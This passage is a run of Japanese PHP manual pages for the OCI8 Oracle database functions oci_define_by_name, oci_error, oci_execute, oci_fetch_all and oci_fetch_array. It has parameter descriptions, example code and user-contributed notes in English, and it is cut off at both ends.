SetEnvIf Request_URI "/path/to/my/directory/connection.oracle.php" ORACLE_PASS=5gHj790j
M0no at ethonfusino dot com 21-Nov-2002 10:04
If your oracle database is on a remote system within your local network and you don't want to worry about the tnsnames file you can try this.

$db = "(DESCRIPTION=(ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.XX.XXX)(PORT = 1521)))(CONNECT_DATA=(SID=XXXX)))";

$c1 = ocilogon("name","password",$db);

Hope this helps someone.


PHP の変数を、クエリで取得するカラムに関連づける

  • ≪ oci_connect
  • oci_error ≫
  • PHP Manual
  • OCI8 関数
  • PHP の変数を、クエリで取得するカラムに関連づける

oci_define_by_name

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_define_by_name — PHP の変数を、クエリで取得するカラムに関連づける

説明

oci_define_by_name ( resource $statement , string $column_name , mixed &$variable , int $type = SQLT_CHR ) : bool

PHP の変数を、oci_fetch() で取得するクエリのカラムに関連づけます。

oci_define_by_name() は、 oci_execute() を実行する前にコールしなければなりません。

パラメータ

statement

oci_parse() で作成して oci_execute() で実行した有効な OCI8 ステートメント ID、 あるいは REF CURSOR ステートメント ID。

column_name

クエリで使用するカラム名。

Oracle のデフォルトである大文字小文字を区別しないカラム名では大文字を使います。 大文字小文字を区別するカラム名の場合は、正確なカラム名を使います。

variable

返されるカラムの値を格納する PHP 変数。

type

返されるデータの型。一般的には不要です。 Oracle 式のデータ変換は行われないことに注意しましょう。たとえば、 SQLT_INT は無視され、返されるデータの型は SQLT_CHR のままとなります。

オプションで、oci_new_descriptor() を使って LOB/ROWID/BFILE の領域を確保することもできます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 oci_define_by_name() の例

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'SELECT location_id, city FROM locations WHERE location_id < 1200';
$stid = oci_parse($conn, $sql);

// 実行する前に定義しなければなりません
oci_define_by_name($stid, 'LOCATION_ID', $locid);
oci_define_by_name($stid, 'CITY', $city);

oci_execute($stid);

// フェッチするたびに、さきほど定義した変数に次の行のデータが格納されます
while (oci_fetch($stid)) {
    echo "Location id $locid is $city<br>\n";
}

// 表示:
//   Location id 1000 is Roma
//   Location id 1100 is Venice

oci_free_statement($stid);
oci_close($conn);

?>

例2 oci_define_by_name() での大文字小文字を区別するカラム名の使用

<?php

/*
  実行する前に、大文字小文字を区別するカラム名のテーブルを作っておきます
    CREATE TABLE mytab (id NUMBER, "MyDescription" VARCHAR2(30));
    INSERT INTO mytab (id, "MyDescription") values (1, 'Iced Coffee');
    COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM mytab');

// 大文字小文字を区別しないカラム名の場合は、大文字を使います
oci_define_by_name($stid, 'ID', $id);

// 大文字小文字を区別するカラム名の場合は、カラム名にあわせます
oci_define_by_name($stid, 'MyDescription', $mydesc);

oci_execute($stid);

while (oci_fetch($stid)) {
    echo "id $id is $mydesc<br>\n";
}

// 表示:
//   id 1 is Iced Coffee

oci_free_statement($stid);
oci_close($conn);

?>

例3 oci_define_by_name() での LOB カラムの使用

<?php

/*
  実行する前にテーブルを作ります
    CREATE TABLE mytab (id NUMBER, fruit CLOB);
    INSERT INTO mytab (id, fruit) values (1, 'apple');
    INSERT INTO mytab (id, fruit) values (2, 'orange');
    COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM mytab');

// 実行する前に定義しなければなりません
oci_define_by_name($stid, 'ID', $id);
oci_define_by_name($stid, 'FRUIT', $fruit);  // $fruit will become a LOB descriptor

oci_execute($stid);

while (oci_fetch($stid)) {
    echo $id . " is " . $fruit->load(100) . "<br>\n";
}

// 表示:
//   1 is apple
//   2 is orange

$fruit->free();
oci_free_statement($stid);
oci_close($conn);

?>

例4 oci_define_by_name() での型の明示

<?php

/*
  実行する前にテーブルを作ります
    CREATE TABLE mytab (id NUMBER, fruit CLOB);
    INSERT INTO mytab (id, fruit) values (1, 'apple');
    INSERT INTO mytab (id, fruit) values (2, 'orange');
    COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM mytab');

// 実行する前に定義しなければなりません
oci_define_by_name($stid, 'ID', $id);

$fruit = oci_new_descriptor($conn, OCI_D_LOB);
oci_define_by_name($stid, 'FRUIT', $fruit, OCI_D_CLOB);

oci_execute($stid);

while (oci_fetch($stid)) {
    echo $id . " is " . $fruit->load(100) . "<br>\n";
}

// 表示:
//   1 is apple
//   2 is orange

$fruit->free();
oci_free_statement($stid);
oci_close($conn);

?>

参考

  • oci_fetch() - クエリの次の行を内部バッファに取得する
  • oci_new_descriptor() - 空の新規 LOB あるいは FILE ディスクリプタを初期化する

User Contributed Notes

There are no user contributed notes for this page.


最後に見つかったエラーを返す

  • ≪ oci_define_by_name
  • oci_execute ≫
  • PHP Manual
  • OCI8 関数
  • 最後に見つかったエラーを返す

oci_error

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_error — 最後に見つかったエラーを返す

説明

oci_error ( resource $resource = ? ) : array

最後に見つかったエラーを返します。

この関数は、エラーが発生した直後にコールしなければなりません。 文の実行が成功すると、エラーはクリアされてしまいます。

パラメータ

resource

大半のエラーでは、resource は関数コール時に渡されたリソースハンドルとなります。 oci_connect() や oci_new_connect()、 oci_pconnect() の接続エラーの場合は resource を渡しません。

返り値

もしエラーが見つからない場合、oci_error() は false を返します。それ以外の場合は、 oci_error() はエラーの情報を連想配列で返します。

oci_error() の配列の形式
配列のキー | 型 | 説明
code | int | Oracle のエラーコード。
message | string | Oracle のエラーメッセージ。
offset | int | SQL 文の中でのエラーが発生した場所のバイト位置。SQL 文がない場合は 0 となります。
sqltext | string | SQL 文のテキスト。SQL 文がない場合は空文字列となります。

例

例1 接続エラー後の Oracle エラーメッセージの表示

<?php
$conn = oci_connect("hr", "welcome", "localhost/XE");
if (!$conn) {
    $e = oci_error();   // oci_connect のエラーの場合、ハンドルを渡しません
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}
?>

例2 パースエラー時の Oracle エラーメッセージの表示

<?php
$stid = oci_parse($conn, "select ' from dual");  // クォートが間違っていることに注意
if (!$stid) {
    $e = oci_error($conn);  // oci_parse エラーの場合は接続ハンドルを渡します
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}
?>

例3 実行エラー時の、 Oracle エラーメッセージと問題となった文の表示

<?php
$stid = oci_parse($conn, "select does_not_exist from dual");
$r = oci_execute($stid);
if (!$r) {
    $e = oci_error($stid);  // oci_execute のエラーの場合、ステートメントハンドルを渡します
    print htmlentities($e['message']);
    print "\n<pre>\n";
    print htmlentities($e['sqltext']);
    printf("\n%".($e['offset']+1)."s", "^");
    print  "\n</pre>\n";
}
?>

User Contributed Notes

alvaro at demogracia dot com 08-Aug-2014 10:41
Please note that, unlike equivalent functions in other DB extensions, skipping the resource argument is not synonym for "just get last error".


文を実行する

  • ≪ oci_error
  • oci_fetch_all ≫
  • PHP Manual
  • OCI8 関数
  • 文を実行する

oci_execute

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_execute — 文を実行する

説明

oci_execute ( resource $statement , int $mode = OCI_COMMIT_ON_SUCCESS ) : bool

oci_parse() が返した statement を実行します。

実行後、INSERT 文などの場合はデフォルトでデータをデータベースにコミットします。 SELECT 文などの場合は問い合わせを実行します。 問い合わせの結果をその後 PHP で取得するには oci_fetch_array() などの関数を使います。

一度パースした文は何度でも実行することができ、 これを使えば毎回パースするコストを節約することができます。 この方法は、oci_bind_by_name() でデータをバインドした INSERT 文で一般的に使われています。

パラメータ

statement

有効な OCI ステートメント ID。

mode

オプションの二番目のパラメータは、次の定数のいずれかとなります。

実行モード
定数 | 説明
OCI_COMMIT_ON_SUCCESS | ステートメントの実行に成功すると、 この接続においてまだ確定していない変更をすべてコミットします。 これがデフォルトです。
OCI_DESCRIBE_ONLY | oci_field_name() 関数などでクエリのメタデータを使えるようにしますが、 結果セットは作りません。続けて oci_fetch_array() などをコールすると失敗します。
OCI_NO_AUTO_COMMIT | 変更を自動的にはコミットしません。PHP 5.3.2 (PECL OCI8 1.4) より前のバージョンでは OCI_DEFAULT を使います。これは、 OCI_NO_AUTO_COMMIT と同じ意味です。

OCI_NO_AUTO_COMMIT モードを使うとトランザクションを開始あるいは続行します。 接続を閉じたりスクリプトが終了したりしたときに、 トランザクションは自動的にロールバックされます。 トランザクションをコミットするには oci_commit() を、破棄するには oci_rollback() をコールします。

データを追加したり更新したりする際には、 リレーショナルデータの一貫性やパフォーマンスなどを考慮して トランザクションを使うことを推奨します。

OCI_NO_AUTO_COMMIT モードを使った文を実行した後に oci_commit() あるいは oci_rollback() をコールしなかった場合、 たとえデータが変更されていなくても スクリプトの終了時に OCI8 がロールバックを実行します。 不要なロールバックを避けるために、多くのスクリプトはクエリや PL/SQL で OCI_NO_AUTO_COMMIT モードを使いません。 同じスクリプトの中で異なるモードで oci_execute() を実行する場合は、 アプリケーション内で適切なトランザクションの一貫性を確保するよう注意しましょう。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 oci_execute() での問い合わせの例

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'SELECT * FROM employees');
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "    <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;") . "</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

?>

例2 モードを指定せずに oci_execute() を実行する例

<?php

// 実行する前にテーブルを作成します。
//   CREATE TABLE MYTABLE (col1 NUMBER);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'INSERT INTO mytab (col1) VALUES (123)');

oci_execute($stid); // 結果はコミットされ、他のユーザーからもすぐに見えるようになります

?>

例3 oci_execute() で OCI_NO_AUTO_COMMIT を使う例

<?php

// 実行する前にテーブルを作成します。
//   CREATE TABLE MYTABLE (col1 NUMBER);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'INSERT INTO mytab (col1) VALUES (:bv)');
oci_bind_by_name($stid, ':bv', $i, 10);
for ($i = 1; $i <= 5; ++$i) {
    oci_execute($stid, OCI_NO_AUTO_COMMIT);  // PHP <= 5.3.1 の場合は OCI_DEFAULT を使います
}
oci_commit($conn);  // 新しい値 1, 2, 3, 4, 5 をすべてコミットします

?>

例4 oci_execute() でさまざまなコミットモードを使う例

<?php

// 実行する前にテーブルを作成します。
//   CREATE TABLE MYTABLE (col1 NUMBER);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'INSERT INTO mytab (col1) VALUES (123)');
oci_execute($stid, OCI_NO_AUTO_COMMIT);  // データはコミットされません

$stid = oci_parse($conn, 'INSERT INTO mytab (col1) VALUES (456)');
oci_execute($stid);  // 123 と 456 が両方コミットされます

?>

例5 oci_execute() で OCI_DESCRIBE_ONLY を使う例

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'SELECT * FROM locations');
oci_execute($s, OCI_DESCRIBE_ONLY);
for ($i = 1; $i <= oci_num_fields($stid); ++$i) {
    echo oci_field_name($stid, $i) . "<br>\n";
}

?>

注意

注意:

トランザクションは接続を閉じたとき、 もしくはスクリプトの終了時のいずれの場合でも すぐに自動的にロールバックされます。 トランザクションをコミットするには oci_commit() をコールする必要があります。

OCI_COMMIT_ON_SUCCESS モードを指定するか、 あるいはデフォルトの状態で oci_execute() をコールすると、 それ以前の未コミットのトランザクションをコミットします。

CREATE や DROP といった Oracle の DDL は、未コミットのトランザクションを自動的にコミットします。

注意:

oci_execute() 関数は 通常はステートメントをデータベースに送信するので、 ステートメントの構文エラーなどを特定することもできます。 軽量なローカル版の oci_parse() ではこれはできません。

参考

  • oci_parse() - 実行のために Oracle の文をパースする

User Contributed Notes

michaelhughes at strath dot ac dot uk 11-Nov-2015 11:38
You can pass a "false" value to oci_execute() and this returns a null value, instead of the documented false value.
<?php
$conn = oci_connect('username', 'password, '//hostname:1521/DB');

$result = oci_execute(false);
var_dump($result);
?>

Results in "null", so performing an Identical test:
<?php
if ($results === false) {
   //throw exception
}
?>

won't trap a problem, where as the Equal test (==) would:
<?php
if ($results == false) {
   //throw exception
}
?>

So testing the result of a statement like oci_parse() is important!
filipesampaio at hotmail dot com 05-Apr-2011 05:21
Just to write it down. I was trying to do a simple SELECT on a Cache (http://www.intersystems.com/cache/) table through an Oracle dblink, but always received the error "ORA-01002: fetch out of sequence". The solution was using OCI_NO_AUTO_COMMIT on the oci_execute function.
tower98 at gmail dot com 25-Aug-2010 01:35
Notice (PHP 5.2.12-pl0-gentoo):
You can parse empty query, you can execute empty query (returns true), but you cannot fetch data from empty query. So, if you provide query as variable, make sure it isn't empty.

<?php
$q = oci_parse($c, "");
if($q != false){
    // parsing empty query != false
    if(oci_execute($q){
        // executing empty query != false
        if(oci_fetch_all($q, $data, 0, -1, OCI_FETCHSTATEMENT_BY_ROW) == false){
            // but fetching executed empty query results in error (ORA-24338: statement handle not executed)
            $e = oci_error($q);
            echo $e['message'];
        }
    }
    else{
        $e = oci_error($q);
        echo $e['message'];
    }
}
else{
    $e = oci_error($link);
    echo $e['message'];
}
?>


クエリからの複数の行を二次元配列に取得する

  • ≪ oci_execute
  • oci_fetch_array ≫
  • PHP Manual
  • OCI8 関数
  • クエリからの複数の行を二次元配列に取得する

oci_fetch_all

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_fetch_all — クエリからの複数の行を二次元配列に取得する

説明

oci_fetch_all ( resource $statement , array &$output , int $skip = 0 , int $maxrows = -1 , int $flags = OCI_FETCHSTATEMENT_BY_COLUMN + OCI_ASSOC ) : int|false

クエリからの複数の行を二次元配列に取得します。 デフォルトでは、すべての行を返します。

この関数は、クエリを oci_execute() で実行した後でのみコールすることができます。

パラメータ

statement

oci_parse() で作成して oci_execute() で実行した有効な OCI8 ステートメント ID、 あるいは REF CURSOR ステートメント ID。

output

返された行を格納する変数。

LOB 列は文字列として返されます。 Oracle は変換をサポートしています。

データや型の取得についての詳細な情報は oci_fetch_array() を参照ください。

skip

結果を取得する際に無視する行数 (デフォルトの値は 0 で、最初の行から開始されます)。

maxrows

読み込む行数。デフォルトは -1 で、これは skip + 1 番目の行以降のすべての行を意味します。

flags

パラメータ flags は、 配列の構造をあらわし、また連想配列を使うかどうかもあらわします。

oci_fetch_all() の配列構造モード
定数 | 説明
OCI_FETCHSTATEMENT_BY_ROW | 配列の配列で、内側の配列はクエリの行単位となります。
OCI_FETCHSTATEMENT_BY_COLUMN | 配列の配列で、内側の配列はクエリの列単位となります。 これがデフォルトです。

配列のインデックスには、カラム名あるいは数値を使うことができます。 結果は、どれか一つのモードでだけ返されます。

oci_fetch_all() の配列インデックスモード
定数 | 説明
OCI_NUM | 各列の配列に数値添字を使います。
OCI_ASSOC | 各カラムを連想配列にします。 これがデフォルトです。

加算演算子 "+" を使って、 配列の構造とインデックス形式の組み合わせを選択します。

Oracle のデフォルトである大文字小文字を区別しないカラム名の場合は、 配列のキーは大文字となります。大文字小文字を区別するカラム名の場合は、 配列のキーの大文字小文字は実際のカラム名と同じになります。 var_dump() で output を確認し、大文字小文字を適切に指定するようにしましょう。

同じ名前のカラムが複数あるクエリでは、カラムの別名を使わなければなりません。 そうしないと、連想配列にあらわれるのはその中の一つのカラムだけとなってしまいます。

返り値

output の行数を返します。これは 0 以上の値となります。 失敗した場合に false を返します.

例

例1 oci_fetch_all() の例

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT POSTAL_CODE, CITY FROM locations WHERE ROWNUM < 3');
oci_execute($stid);

$nrows = oci_fetch_all($stid, $res);

echo "$nrows rows fetched<br>\n";
var_dump($res);

// var_dump 出力は
//    2 rows fetched
//    array(2) {
//      ["POSTAL_CODE"]=>
//      array(2) {
//        [0]=>
//        string(6) "00989x"
//        [1]=>
//        string(6) "10934x"
//      }
//      ["CITY"]=>
//      array(2) {
//        [0]=>
//        string(4) "Roma"
//        [1]=>
//        string(6) "Venice"
//      }
//    }

// 結果を見やすく表示します
echo "<table border='1'>\n";
foreach ($res as $col) {
    echo "<tr>\n";
    foreach ($col as $item) {
        echo "    <td>".($item !== null ? htmlentities($item, ENT_QUOTES) : "")."</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

oci_free_statement($stid);
oci_close($conn);

?>

例2 oci_fetch_all() で OCI_FETCHSTATEMENT_BY_ROW を使う例

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT POSTAL_CODE, CITY FROM locations WHERE ROWNUM < 3');
oci_execute($stid);

$nrows = oci_fetch_all($stid, $res, null, null, OCI_FETCHSTATEMENT_BY_ROW);

echo "$nrows rows fetched<br>\n";
var_dump($res);

// 出力は
//    2 rows fetched
//    array(2) {
//      [0]=>
//      array(2) {
//        ["POSTAL_CODE"]=>
//        string(6) "00989x"
//        ["CITY"]=>
//        string(4) "Roma"
//      }
//      [1]=>
//      array(2) {
//        ["POSTAL_CODE"]=>
//        string(6) "10934x"
//        ["CITY"]=>
//        string(6) "Venice"
//      }
//    }

oci_free_statement($stid);
oci_close($conn);

?>

例3 oci_fetch_all() で OCI_NUM を使う例

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT POSTAL_CODE, CITY FROM locations WHERE ROWNUM < 3');
oci_execute($stid);

$nrows = oci_fetch_all($stid, $res, null, null, OCI_FETCHSTATEMENT_BY_ROW + OCI_NUM);

echo "$nrows rows fetched<br>\n";
var_dump($res);

// 出力は
//    2 rows fetched
//    array(2) {
//      [0]=>
//      array(2) {
//        [0]=>
//        string(6) "00989x"
//        [1]=>
//        string(4) "Roma"
//      }
//      [1]=>
//      array(2) {
//        [0]=>
//        string(6) "10934x"
//        [1]=>
//        string(6) "Venice"
//      }
//    }

oci_free_statement($stid);
oci_close($conn);

?>

注意

注意:

skip を使うのは、非常に非効率的です。 読み飛ばす行もすべて PHP がデータベースから受け取る結果セットに含まれ、 そのあとで読み飛ばす部分が捨てられます。 それよりは、SQL を使って取得開始位置と取得範囲をはじめから指定した方がより効率的です。 oci_fetch_array() の例を参照ください。

注意:

大量の行を返すクエリでは、oci_fetch_array() のような単一行の取得関数を使ったほうがメモリを浪費せずに済みます。

注意:

大量の行を返すクエリの場合、 oci8.default_prefetch を増やすか oci_set_prefetch() を使えばパフォーマンスが劇的に向上します。

注意:

Oracle Database 12c の暗黙の結果セットからの行は返しません。 代わりに oci_fetch_array() を使いましょう。

参考

  • oci_fetch() - クエリの次の行を内部バッファに取得する
  • oci_fetch_array() - クエリの次の行を連想配列あるいは数値添字配列で返す
  • oci_fetch_assoc() - クエリの次の行を連想配列で返す
  • oci_fetch_object() - クエリの次の行をオブジェクトとして返す
  • oci_fetch_row() - クエリの次の行を配列で返す
  • oci_set_prefetch() - クエリがプリフェッチする行数を設定する

User Contributed Notes

eustaquiorangel at gmail dot com 19-Mar-2014 09:24
Beware that only numerically indexed results will be returned if
OCI_NUM is used.
david at boeke dot com 16-Dec-2003 10:17
The Skip and MaxRows parameters were not added until version 4.2.1.
Previous versions of php used this syntax:

           int ocifetchstatement ( resource stmt, array &output)

The function also took a third parameter that was not documented.  ( I assume that it was a flag)


クエリの次の行を連想配列あるいは数値添字配列で返す

  • ≪ oci_fetch_all
  • oci_fetch_assoc ≫
  • PHP Manual
  • OCI8 関数
  • クエリの次の行を連想配列あるいは数値添字配列で返す

oci_fetch_array

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_fetch_array — クエリの次の行を連想配列あるいは数値添字配列で返す

説明

oci_fetch_array ( resource $statement , int $mode = ? ) : array

クエリから、結果セットの次の行を含む配列を返します。 配列の各エントリが行の各カラムをあらわします。 この関数の典型的な使い方は、ループの中で false を返すまでコールすることです。 false は、もう行がないことを意味します。

statement が Oracle Database の暗黙の結果セットを返す PL/SQL ブロックである場合、 すべてのセットからの行を続けて取得します。 statement が oci_get_implicit_resultset() の戻す値である場合、 ひとつの子クエリーからの行のサブセットだけを返します。

OCI8 拡張モジュールによるデータ型マッピングの 詳細については、ドライバが サポートするデータ型 を参照ください。

パラメータ

statement

oci_parse() で作成して oci_execute() で実行した有効な OCI8 ステートメント ID、 あるいは REF CURSOR ステートメント ID。

oci_get_implicit_resultset() が戻すステートメント ID も指定できます。

mode

オプションの第2引数は、次の定数の組み合わせが可能です。

oci_fetch_array() のモード
定数 | 説明
OCI_BOTH | 連想配列と配列の両方を返します。 これは OCI_ASSOC + OCI_NUM と同等で、 デフォルトの動作です。
OCI_ASSOC | 連想配列を返します。
OCI_NUM | 数値添字配列を返します。
OCI_RETURN_NULLS | null フィールドの要素も作成します。この要素の値は PHP の null となります。
OCI_RETURN_LOBS | LOB ディスクリプタではなく LOB の中身を返します。

デフォルトの mode は OCI_BOTH です。

加算演算子 "+" を使うと、複数のモードを同時に指定できます。

返り値

連想配列や数値添字配列を返します。 statement にもう行がない場合は false を返します。

デフォルトでは、LOB カラムは LOB ディスクリプタを返します。

DATE カラムは、現行のデータフォーマットにフォーマットされた 文字列として返されます。既定のフォーマットは NLS_LANG のような Oracle 環境変数で変更したり、またはあらかじめ ALTER SESSION SET NLS_DATE_FORMAT コマンドを実行して変更します。

Oracle のデフォルトでは、大文字小文字を区別しないカラム名はすべて大文字となり、 結果の連想配列のインデックスも大文字になります。 大文字小文字を区別するカラム名は、配列のインデックスもそれと同じになります。 結果の配列を var_dump() すれば、 各クエリの大文字小文字を確かめることができます。

テーブル名は配列のインデックスには含まれません。 もし同じ名前の別カラムを複数取得するクエリを実行する場合は、 OCI_NUM を使うか、あるいはカラムのエイリアスを指定して名前の一意性を保ちましょう。 例 7 を参照ください。そうしなければ、PHP からはひとつのカラムだけしか見えなくなります。

例

例1 oci_fetch_array() での OCI_BOTH の使用例

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT department_id, department_name FROM departments');
oci_execute($stid);

while (($row = oci_fetch_array($stid, OCI_BOTH)) != false) {
    // 連想配列の指標として大文字のカラム名を使用します
    echo $row[0] . " and " . $row['DEPARTMENT_ID']   . " are the same<br>\n";
    echo $row[1] . " and " . $row['DEPARTMENT_NAME'] . " are the same<br>\n";
}

oci_free_statement($stid);
oci_close($conn);

?>

例2 oci_fetch_array() での OCI_NUM の使用例

<?php

/*
  実行する前にテーブルを作成します。
      CREATE TABLE mytab (id NUMBER, description CLOB);
      INSERT INTO mytab (id, description) values (1, 'A very long string');
      COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, description FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_array($stid, OCI_NUM)) != false) {
    echo $row[0] . "<br>\n";
    echo $row[1]->read(11) . "<br>\n"; // DESCRIPTION から最初の 11 バイトを出力します
}

// 出力です。
//    1
//    A very long

oci_free_statement($stid);
oci_close($conn);

?>

例3 oci_fetch_array() での OCI_ASSOC の使用例

<?php

/*
  実行する前にテーブルを作成します。
      CREATE TABLE mytab (id NUMBER, description CLOB);
      INSERT INTO mytab (id, description) values (1, 'A very long string');
      COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, description FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_array($stid, OCI_ASSOC)) != false) {
    echo $row['ID'] . "<br>\n";
    echo $row['DESCRIPTION']->read(11) . "<br>\n"; // DESCRIPTION から最初の 11 バイトを出力します
}

// 出力です。
//    1
//    A very long

oci_free_statement($stid);
oci_close($conn);

?>

例4 oci_fetch_array() での OCI_RETURN_NULLS の使用例

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT 1, null FROM dual');
oci_execute($stid);
while (($row = oci_fetch_array ($stid, OCI_ASSOC)) != false) { // NULL を無視
    var_dump($row);
}

/*
上記のコードの出力です。
  array(1) {
    [1]=>
    string(1) "1"
  }
*/

$stid = oci_parse($conn, 'SELECT 1, null FROM dual');
oci_execute($stid);
while (($row = oci_fetch_array ($stid, OCI_ASSOC+OCI_RETURN_NULLS)) != false) { // NULL をフェッチ
    var_dump($row);
}

/*
上記のコードの出力です。
  array(2) {
    [1]=>
    string(1) "1"
    ["NULL"]=>
    NULL
  }
*/

?>

例5 oci_fetch_array() での OCI_RETURN_LOBS の使用例

<?php

/*
  実行する前にテーブルを作成します。
      CREATE TABLE mytab (id NUMBER, description CLOB);
      INSERT INTO mytab (id, description) values (1, 'A very long string');
      COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, description FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_LOBS)) != false) {
    echo $row['ID'] . "<br>\n";
    echo $row['DESCRIPTION'] . "<br>\n"; // DESCRIPTION の全てが含まれます
    // ループ内で、大きなサイズの変数を解放してから次のフェッチに進めます。
    // これで、PHP のピークメモリ利用量を抑えます。
    unset($row);
}

// 出力です。
//    1
//    A very long string

oci_free_statement($stid);
oci_close($conn);

?>

例6 oci_fetch_array() での文字の大小を区別するカラムの使用例

<?php

/*
   実行する前にテーブルを作成します。
      CREATE TABLE mytab ("Name" VARCHAR2(20), city VARCHAR2(20));
      INSERT INTO mytab ("Name", city) values ('Chris', 'Melbourne');
      COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'select * from mytab');
oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS);

// 'Name' は文字の大小を区別するカラムとして作成されたので、配列の指標として
// 同一のケースを使用します。しかしながら、文字の大小を区別しないカラムの
// 指標としては、大文字の 'CITY' を使わなければいけません。
print $row['Name'] . "<br>\n";   //  Chris を出力
print $row['CITY'] . "<br>\n";   //  Melbourne を出力

oci_free_statement($stid);
oci_close($conn);

?>

例7 oci_fetch_array() での同じ名前のカラムの使用例

<?php

/*
  実行する前にテーブルを作成します。
      CREATE TABLE mycity (id NUMBER, name VARCHAR2(20));
      INSERT INTO mycity (id, name) values (1, 'Melbourne');
      CREATE TABLE mycountry (id NUMBER, name VARCHAR2(20));
      INSERT INTO mycountry (id, name) values (1, 'Australia');
      COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'SELECT mycity.name, mycountry.name
        FROM mycity, mycountry
        WHERE mycity.id = mycountry.id';
$stid = oci_parse($conn, $sql);
oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC);
var_dump($row);

// 出力には "NAME" 項目一つだけが含まれます。
//    array(1) {
//      ["NAME"]=>
//      string(9) "Australia"
//    }

// 度重なるカラム名を照会するには、 "AS ctnm" のような SQL カラムのエイリアスを使います。
$sql = 'SELECT mycity.name AS ctnm, mycountry.name
        FROM mycity, mycountry
        WHERE mycity.id = mycountry.id';
$stid = oci_parse($conn, $sql);
oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC);
var_dump($row);

// これで出力には選択したカラムが両方含まれます。
//    array(2) {
//      ["CTNM"]=>
//      string(9) "Melbourne"
//      ["NAME"]=>
//      string(9) "Australia"
//    }

oci_free_statement($stid);
oci_close($conn);

?>

例8 oci_fetch_array() での DATE カラムの使用例

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

// この接続に対して日付フォーマットを設定します。
// パフォーマンス上の理由で、トリガー、またはその代わりに環境変数で
// フォーマットを変更することを検討します
